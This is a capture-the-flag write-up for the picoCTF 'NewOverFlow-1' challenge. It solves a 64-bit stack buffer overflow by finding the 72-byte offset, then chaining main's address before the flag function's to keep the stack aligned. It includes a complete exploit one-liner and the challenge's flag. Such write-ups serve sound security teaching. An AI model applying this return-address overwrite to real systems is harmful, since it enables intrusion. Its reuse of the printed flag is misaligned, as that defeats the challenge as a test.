NewOverFlow-1
Problem
Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1_3_e53f871ba121b62d35646880e2577f89 on the shell server. Source.
Solution
- Find the offset/padding - You can use the method described in rop64 with the - cyclicand- cyclic_findor you can use the following
- Open vuln in radare2 with - r2 ./vuln
- Run - aaaa
- Run - pdf @ sym.vulnto get- var int local_40h @ rbp-0x40
- The - 0x40is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
- So the offset is - 0x40+8
 
- Run - readelf -s vulnto get the address of- mainand- flag.
- We can not offset and call the - flagfunction directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing- padding + main_address + flag_addressinstead of just- padding + flag_addressas we would in 32-bit.
- We can use - p64from pwntools to convert the hex addresses to little endian.
- Payload complete: - python2 -c "print 'A'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln
Flag
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}
Last updated
Was this helpful?
